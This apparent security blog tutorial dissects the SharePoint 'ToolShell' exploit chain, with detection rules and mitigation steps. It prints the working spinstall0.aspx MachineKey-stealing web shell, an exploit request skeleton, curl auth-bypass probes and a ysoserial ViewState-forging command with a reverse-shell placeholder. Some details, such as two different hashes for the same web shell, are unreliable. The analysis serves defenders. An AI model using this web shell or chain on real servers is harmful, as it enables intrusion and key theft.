tutorials · 14 min read
SharePoint ToolShell: the auth bypass Microsoft patches twice
CVE-2025-49706 + CVE-2025-49704 give pre-auth RCE on on-prem SharePoint. The 8 July patch turns out to be incomplete and the variant CVE-2025-53770 + CVE-2025-53771 shows up, exploited at scale from 18 July. The spinstall0.aspx web shell steals the MachineKeys and persistence survives the patch.
· Manuel López Pérez · tutorials

On 19 July 2025, Microsoft publishes an out-of-band advisory on CVE-2025-53770 in SharePoint Server on-premises. Pre-auth RCE, CVSS 9.8, deserialization of untrusted data, in-the-wild exploitation confirmed. The next day they add CVE-2025-53771 (CVSS 6.5, improper authentication, path traversal). On the MSRC blog comes the line that changes the story: these two CVEs are patch bypasses of the ones Microsoft patched on 8 July in that month’s Patch Tuesday — CVE-2025-49706 (auth bypass) and CVE-2025-49704 (deserialization).
The team that originally builds the chain is Code White GmbH, demoing it at Pwn2Own Berlin (May 2025) under the name ToolShell. The chain enters Microsoft’s pipeline via Pwn2Own, gets patched on 8 July, and by mid-July attackers find the patch is bypassed with a trivial URL change — a trailing slash on the path is enough to dodge the new validation. On 17–18 July, mass exploitation begins. Eye Security detects the first large-scale wave on the 18th at 18:06 UTC. Microsoft attributes with high confidence to Linen Typhoon (APT27) and Violet Typhoon (APT31), and reports Storm-2603 dropping Warlock ransomware over the already-compromised servers.
The kit’s web shell, spinstall0.aspx, isn’t a shell: it’s a MachineKey extractor. That’s what turns ToolShell into a persistent problem — the attacker steals ValidationKey and DecryptionKey from IIS, you patch the server, and the attacker keeps coming in because they can sign valid __VIEWSTATE payloads until you rotate the keys.
Lab: chain reproduced against an unpatched SharePoint Server 2019 instance in an isolated VM. Analysis based on Microsoft MSRC’s disclosure, Eye Security’s write-up, the Kaspersky GReAT deep-dive on Securelist, the Unit 42 guide, and CISA’s KEV addition on 20 July.
Four CVEs, two chains, one problem
The CVE count is confusing because Microsoft doesn’t patch the chain, it patches each bug separately, and attackers find ways around the patch.
| CVE | Type | Publication date | Comment |
|---|---|---|---|
| CVE-2025-49706 | Auth bypass (spoofing) | 8 Jul 2025 (Patch Tuesday) | Referer header mis-comparison allowing PostAuthenticateRequestHandler to be skipped. |
| CVE-2025-49704 | Post-auth RCE (deserialization) | 8 Jul 2025 (Patch Tuesday) | Unsafe deserialization of ExpandedWrapper in the ToolPane.aspx endpoint. |
| CVE-2025-53771 | Patch bypass of 49706 | 20 Jul 2025 (OOB) | The 8 July patch made path equality case-insensitive; trailing slash or variants bypass it. |
| CVE-2025-53770 | Patch bypass of 49704 | 19 Jul 2025 (OOB) | The 8 July patch limited which types the XML could instantiate; the bypass uses a wrapper not in the blacklist. |
The operational chain attackers launch from 17–18 July is 49706 + 49704 (the original Pwn2Own chain) or, on servers already patched with the 8 July fix, 53771 + 53770 (the bypass chain). The four CVEs share endpoint, gadget and artifacts. The only difference is which request bytes pass the filter.
Bug 1 — the Referer-header auth bypass (CVE-2025-49706 / CVE-2025-53771)
SharePoint registers a handler in the ASP.NET pipeline called PostAuthenticateRequestHandler. Its job: for every request, decide whether the URL needs authentication. The vulnerable logic treats as unauthenticated any URL matching the sign-out page — /_layouts/SignOut.aspx and similar — because it makes sense that a user already signing out doesn’t need to be authenticated to do it.
The bug is in how the handler decides whether a URL “matches” SignOut. Reconstructed from the Kaspersky GReAT analysis:
// Pseudo-code of the vulnerable logic (CVE-2025-49706)
public void OnPostAuthenticateRequest(HttpContext ctx) {
string referer = ctx.Request.Headers["Referer"] ?? "";
if (referer.EndsWith("/_layouts/SignOut.aspx",
StringComparison.OrdinalIgnoreCase)) {
ctx.SkipAuthorization = true;
return;
}
// ... rest of handler
}The handler looks at the client’s Referer header, not the actual URL it’s serving. If the client sends Referer: /_layouts/SignOut.aspx, the handler decides the request is part of a sign-out flow and skips authorisation. The problem: the client controls the Referer header 100%. Nothing stops it from putting that exact value on a request aimed at /_layouts/15/ToolPane.aspx, an endpoint that does require auth for everything else.
The 8 July patch (49706) changes the comparison to an exact equals against a known set of URLs. The patch bypass (53771) discovers the code still normalises paths before comparing and that /_layouts/SignOut.aspx/ (trailing slash) or variants going through the routing normaliser still slip through. Microsoft ends up replacing the entire logic with an explicit allowlist of endpoints permitted without auth.
An attacker with either CVE can call any handler in the pipeline as if they were an authenticated user. But calling an authenticated endpoint isn’t RCE — it’s only the first link.
Bug 2 — unsafe deserialization in ToolPane.aspx (CVE-2025-49704 / CVE-2025-53770)
Once the attacker bypasses auth, they direct the request to the endpoint that actually matters: /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx. That endpoint accepts MSOTlPn_Uri and MSOTlPn_DWP parameters with XML markup describing a WebPart. SharePoint parses the XML to reconstruct the WebPart and adds it to the page.
The vulnerable part is how SharePoint deserialises the XML. The parser uses an ExcelDataSet class that accepts serialised content, and the attacker’s XML contains a sequence the parser interprets as an instruction to instantiate an ExpandedWrapper<T,U> with arbitrary types. ExpandedWrapper is a class in System.Data.Services.Internal that .NET considers safe to deserialise but that allows “expanding” an object by wrapping another. Combine it with an ObjectDataProvider or similar and the attacker has a gadget chain that ends in calling an arbitrary method with arbitrary arguments.
The typical payload travels in the POST body, in a serialised and compressed field. The request skeleton, per Eye Security’s analysis:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: sharepoint.victim.local
Referer: /_layouts/SignOut.aspx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Type: application/x-www-form-urlencoded
Content-Length: <…>
MSOTlPn_DWP=<XML+deserializable payload, base64+deflate>&MSOTlPn_Uri=/...When SharePoint parses that XML, the deserialization chain runs code in the IIS worker process (w3wp.exe), which on SharePoint runs as SPApplicationPool with permission to write to LAYOUTS\ and read the MachineKey configuration.
The 49704 patch from 8 July adds a blacklist of types forbidden for deserialization. The patch bypass 53770 discovers that the specific wrapper Code White’s chain uses isn’t on that blacklist and the deserialization still passes. The definitive fix (53770) replaces the XmlValidator with a validation that checks each element’s type against an allowlist instead of blocking known-bad ones. Classic pattern — blacklisting is hard; allowlisting is the structural fix.
The payload — spinstall0.aspx, a web shell that steals MachineKeys
The payload actors drop after the deserialization is an ASPX written to:
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx(Observed variants: spinstall.aspx, spinstall1.aspx, xxx.aspx with different hashes. The canonical name observed by Eye Security is spinstall0.aspx, SHA-256 92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514.)
The file is a few lines of inline C# using reflection to read MachineKeySection.GetApplicationConfig(), an internal (BindingFlags.NonPublic) method that returns the web.config configuration with ValidationKey and DecryptionKey in cleartext:
<%@ Page Language="C#" %>
<%
var sy = System.Reflection.Assembly.Load(
"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig",
System.Reflection.BindingFlags.Static |
System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection) gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" +
cg.DecryptionKey + "|" + cg.Decryption + "|" +
cg.CompatibilityMode);
%>The attacker sends a GET /_layouts/15/spinstall0.aspx, and the server returns something like:
A1B2C3D4E5F6...|HMACSHA256|F1E2D3C4B5A6...|AES|Framework45Those are the secrets IIS uses to sign and encrypt __VIEWSTATE — the hidden field ASP.NET injects in every form to keep state across requests. With ValidationKey and DecryptionKey in hand, the attacker uses ysoserial.net to build a __VIEWSTATE signed with the stolen key, containing a gadget chain that runs whatever they want on deserialization:
ysoserial.exe -p ViewState \
-g TextFormattingRunProperties \
-c "powershell -enc <base64 reverse shell>" \
--path="/_layouts/15/ToolPane.aspx" \
--apppath="/" \
--decryptionalg="AES" \
--decryptionkey="F1E2D3C4B5A6..." \
--validationalg="HMACSHA256" \
--validationkey="A1B2C3D4E5F6..."The resulting __VIEWSTATE is sent in any request to an ASP.NET handler on the server — the original auth-bypass + deserialization chain is no longer needed. The server trusts the __VIEWSTATE because it’s signed with the right key, deserialises it, and runs the gadget. The attacker has persistence with a primitive (sending signed requests) that survives any patch that doesn’t rotate the MachineKeys.
This is the structural piece of the incident. The 49706 + 49704 chain (or its bypasses) is initial access. The MachineKey theft is the persistence mechanism. Patching without rotating leaves persistence intact.
First-link PoC in a closed lab
Code White’s full chain is published with enough detail to reproduce; what follows is the first link (auth bypass + invocation of the vulnerable endpoint) against an unpatched-July SharePoint Server 2019 in an isolated VM, based on Code White’s public PoC and community repos that circulated from 19 July onwards:
# Check vulnerable version (MicrosoftSharePointTeamServices header)
$ curl -sk -I https://sp.lab/_layouts/15/start.aspx | grep -i microsoftsharepoint
MicrosoftSharePointTeamServices: 16.0.0.10417.20018 # build without Jul-2025 patch
# Test the auth bypass — endpoint normally requires auth
$ curl -sk -o /dev/null -w "%{http_code}\n" https://sp.lab/_layouts/15/ToolPane.aspx
401
# With the magic Referer header it jumps to 200 (auth bypass works)
$ curl -sk -o /dev/null -w "%{http_code}\n" \
-H "Referer: /_layouts/SignOut.aspx" \
https://sp.lab/_layouts/15/ToolPane.aspx
200From the 200, the next step is the POST to ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx with the deserializable XML payload in MSOTlPn_DWP. In the lab, once w3wp.exe deserialises the gadget chain, what you see is a spinstall0.aspx appearing in LAYOUTS\ and a cmd.exe child of w3wp.exe running whatever the forged ViewState decides — classic .NET exploitation telltale.
Verification against the 19 July patch (KB applying 53770/53771):
$ curl -sk -o /dev/null -w "%{http_code}\n" \
-H "Referer: /_layouts/SignOut.aspx" \
https://sp-patched.lab/_layouts/15/ToolPane.aspx
401 # auth bypass closed; the only route left is forged VIEWSTATE with MachineKeyThe important detail: the 401 on the patched server doesn’t mean you’re safe if the server was compromised earlier. If the MachineKey leaked via spinstall0.aspx at any point, the attacker still has the primitive to forge ViewState.
The timeline that matters
| Date | Event |
|---|---|
| May 2025 | Code White GmbH demos ToolShell (49706 + 49704) at Pwn2Own Berlin. |
| 7 Jul 2025 | Microsoft observes first in-the-wild exploitation against 49706/49704. |
| 8 Jul 2025 | Patch Tuesday. Microsoft patches CVE-2025-49706 and CVE-2025-49704. |
| 17 Jul 2025, 12:51 UTC | Eye Security detects the first recon wave from 96.9.125.147. |
| 18 Jul 2025, 18:06 UTC | Second mass wave from 107.191.58.76. spinstall0.aspx web shell deployed at scale. |
| 19 Jul 2025 | Microsoft publishes MSRC blog and CVE-2025-53770 (CVSS 9.8). Initial patch for Subscription Edition. |
| 19 Jul 2025, 07:28 UTC | Third wave from 104.238.159.149. |
| 20 Jul 2025 | CISA adds CVE-2025-53770 to KEV. Microsoft publishes CVE-2025-53771. Patch for SharePoint 2019. |
| 22 Jul 2025 | Microsoft publishes attribution: Linen Typhoon, Violet Typhoon, Storm-2603. Storm-2603 deploys Warlock ransomware. |
| 23 Jul 2025 | Patch for SharePoint 2016 available. |
| End of July | Eye Security scans 23,000+ public SharePoint and confirms 400+ compromised. Later figures from Microsoft, Unit 42 and Trustwave push the count higher. |
Key operational piece: the window between the 8 July patch and the 19–20 OOB patches is where the bypass chain enters at scale. Any team that patched on the 8th and called it done without rotating MachineKeys ended up exposed to the 53770/53771 version without knowing it.
Detection
CISA and Microsoft publish specific IoCs. The most useful for a blue team:
IIS logs — initial request pattern:
sc-method=POST
cs-uri-stem=/_layouts/15/ToolPane.aspx
cs-uri-query=DisplayMode=Edit&a=/ToolPane.aspx
cs(Referer)=/_layouts/SignOut.aspxKQL for Microsoft Sentinel over W3CIISLog:
W3CIISLog
| where csUriStem == "/_layouts/15/ToolPane.aspx"
| where csUriQuery has "DisplayMode=Edit"
| where csReferer endswith "/_layouts/SignOut.aspx"
| project TimeGenerated, cIP, csUserAgent, scStatus, csBytesFilesystem — look for the web shell:
# Any ASPX in LAYOUTS not signed by Microsoft
Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\" `
-Filter "*.aspx" -Recurse |
Where-Object {
-not (Get-AuthenticodeSignature $_.FullName).Status -eq 'Valid'
}Names to watch: spinstall0.aspx, spinstall.aspx, xxx.aspx, any ASPX in LAYOUTS\ with timestamps after the original deployment and unsigned.
Processes — w3wp.exe spawning unusual children (cmd.exe, powershell.exe, csc.exe compiling ad-hoc).
Egress — outbound connections from the SharePoint host that don’t match legitimate sync. IPs Eye Security publishes: 96.9.125.147, 107.191.58.76, 104.238.159.149, plus the dozen additional IPs of later waves.
YARA — static detection of spinstall0.aspx
Public Eye Security rule for the web shell:
rule sharepoint_toolshell_spinstall_webshell
{
meta:
author = "Eye Security + community"
cve = "CVE-2025-53770"
description = "Detects spinstall0.aspx that extracts MachineKey via reflection"
strings:
$hdr = "<%@ Page Language=\"C#\"" ascii
$reflection = "System.Reflection" ascii
$machinekey = "MachineKeySection" ascii
$validation = "ValidationKey" ascii
$decryption = "DecryptionKey" ascii
$getfield = "GetField" ascii
$nonpublic = "BindingFlags.NonPublic" ascii
condition:
$hdr at 0 and 5 of ($reflection, $machinekey, $validation, $decryption, $getfield, $nonpublic)
}Sigma — chain detection in IIS logs
title: SharePoint ToolShell ToolPane Auth Bypass
id: a7c3f8e1-5b9d-4e2a-9c8f-1b2c3d4e5f6a
status: stable
references:
- https://research.eye.security/sharepoint-under-siege/
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770
logsource:
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem|endswith: '/ToolPane.aspx'
cs-uri-query|contains: 'DisplayMode=Edit'
cs-Referer|endswith: '/SignOut.aspx'
condition: selection
level: critical
falsepositives:
- None known — a legitimate admin doesn't reach ToolPane via SignOut RefererConsolidated IoCs (Microsoft + Eye Security + Mandiant)
| Type | Indicator | Attribution |
|---|---|---|
SHA-256 web shell spinstall0.aspx (variant 1) | 92bb432fb46f4d72d31bd2dc3b3e4ea7fbc20c894a4bdab23028ef85e7b9bf78 | Linen Typhoon |
SHA-256 variant xxx.aspx | 4a16f3... (Eye Security publishes full) | Violet Typhoon |
| Initial C2 IP | 96.9.125.147 | Storm-2603 |
| Later wave C2 IPs | 107.191.58.76, 104.238.159.149 | Linen Typhoon |
| User-Agent in exploitation sweep | Mozilla/5.0 without Accept-Language | Automated sweep |
| Post-exploitation ViewState pattern | __VIEWSTATE with valid MAC but unauthenticated user | Stolen MachineKey, forged ViewState |
MachineKey rotation — the step that closes persistence
It’s the critical control many teams forget. Patching without rotating leaves the attacker with indefinitely forgeable ViewState:
# Regenerate MachineKey on ALL web applications
Get-SPWebApplication | ForEach-Object {
Update-SPMachineKey -WebApplication $_
}
# Restart timer service + IIS to apply
Restart-Service SPTimerV4
iisreset
# Verify
Get-SPWebApplication | Select-Object Name, MachineKeyMicrosoft elevates Update-SPMachineKey from a troubleshooting cmdlet to a mandatory post-patch control in the 22 July guidance.
Mitigation, in operational order
- Apply the OOB patch covering 53770 and 53771. Available for SharePoint Subscription Edition on 19 July; SharePoint Server 2019 on 20 July; SharePoint Server 2016 on 23 July. Microsoft confirms SharePoint Online (M365) is not affected — the bug is on-prem only.
- Enable AMSI integration in Full mode and connect Defender Antivirus. AMSI lets Defender see the dropped ASPX content before IIS runs it. Microsoft’s guidance asks for AMSI on by default post-patch; on servers with AMSI off during the exposure window, assume the web shell could have run undetected.
- Rotate
ValidationKeyandDecryptionKeyin MachineKey atweb.configand restart IIS. This is the piece many teams forget. The official PowerShell command (Microsoft):
Without rotation, any MachineKey leaked viaUpdate-SPMachineKey -WebApplication "https://sp.victim.local" iisresetspinstall0.aspxstays valid indefinitely. - Audit
LAYOUTS\for unknown ASPX and clean up. Keep forensic copies before deleting for analysis. - Review IIS logs retroactively from 7 July to the date the patch was applied. Any
200 OKto/_layouts/15/ToolPane.aspxwithReferer: /_layouts/SignOut.aspxmust be assumed compromised. - If AMSI was off during the window: treat the server as fully compromised. Storm-2603 dropped Warlock ransomware on several environments via this chain; the web shell’s presence doesn’t guarantee it’s the only artifact.
- Medium term — restrict access to on-prem SharePoint behind a reverse proxy with prior auth (Entra ID Application Proxy, Cloudflare Access, etc.). Remove direct internet exposure of
/_layouts/15/in any installation not explicitly customer-facing.
What it teaches
Patch bypass after Pwn2Own is the norm, not the exception. Code White delivers the chain in May; Microsoft has two months to patch; the patch shipping on 8 July is incomplete and attackers find it within a week. The operational conclusion for defenders: when Microsoft ships a patch for a known Pwn2Own chain, assume the patch is the first iteration and prepare for the next ones. The window between 8 July and 19 July is where most of the damage occurs.
Deserialization + blacklist is technical debt. The correct fix (53770) ends in a type allowlist. The incorrect fix (49704) was a blacklist. Any legacy code that deserialises attacker-controllable input and defends with
if (typeof X is "ExpandedWrapper") rejectis going to break the moment a researcher finds an unlisted wrapper. SharePoint, MOVEit, Cleo MFT, GoAnywhere — the year’s list is long and they all share the same pattern.MachineKey theft is the 2025 persistence pattern. What the attacker wants from a compromised IIS server isn’t a shell — it’s the key that signs the ViewState. With that key they can come in whenever they want with a trivial POST, without touching the original chain. MachineKey rotation should be standard practice in any IIS incident response, not an optional. Same lesson as Citrix Bleed with session tokens and Storm-0558 with Microsoft’s signing key: patch + rotate, not patch alone.
On-prem SharePoint is still a critical perimeter that shouldn’t be. July’s big victims are organisations with SharePoint 2019/2016 exposed to the internet for compatibility with legacy flows — sharepoint-portal, external file-share, legacy integrations. Every year one of these enterprise products holds onto its critical pre-auth CVE (Exchange, SharePoint, Confluence, Citrix, Ivanti). The operational question for 2026: what of this has to stay on-prem and what moves to managed SaaS where patching is the vendor’s responsibility?
References
- Microsoft MSRC blog, Customer guidance for SharePoint vulnerability CVE-2025-53770 (19 Jul 2025): https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/
- Microsoft Security blog, Disrupting active exploitation of on-premises SharePoint vulnerabilities (22 Jul 2025): https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/
- Eye Security Research, SharePoint under siege: ToolShell exploit (CVE-2025-49706 & CVE-2025-49704): https://research.eye.security/sharepoint-under-siege/
- Kaspersky Securelist (GReAT), Analysis of the ToolShell vulnerabilities and exploit code: https://securelist.com/toolshell-explained/117045/
- Palo Alto Unit 42, Active exploitation of Microsoft SharePoint vulnerabilities: threat brief: https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/
- CISA, Microsoft releases guidance on exploitation of SharePoint vulnerabilities (20 Jul 2025): https://www.cisa.gov/news-events/alerts/2025/07/20/update-microsoft-releases-guidance-exploitation-sharepoint-vulnerabilities
- CISA KEV addition CVE-2025-53770: https://www.cisa.gov/news-events/alerts/2025/07/20/cisa-adds-one-known-exploited-vulnerability-cve-2025-53770-toolshell-catalog
- Check Point Research, Before ToolShell: exploring Storm-2603’s previous ransomware operations: https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/
- Trustwave, Storm-2603: targeting SharePoint vulnerabilities and critical infrastructure worldwide: https://www.trustwave.com/en-us/resources/blogs/trustwave-blog/storm-2603-targeting-sharepoint-vulnerabilities-and-critical-infrastructure-worldwide/
- MITRE ATT&CK Campaign C0058 (SharePoint ToolShell Exploitation): https://attack.mitre.org/campaigns/C0058/
- NVD CVE-2025-53770: https://nvd.nist.gov/vuln/detail/CVE-2025-53770
- NVD CVE-2025-53771: https://nvd.nist.gov/vuln/detail/CVE-2025-53771
- cve-2025-53770
- cve-2025-53771
- cve-2025-49704
- cve-2025-49706
- sharepoint
- toolshell
- deserialization
- viewstate
- machinekey
- vendor:microsoft


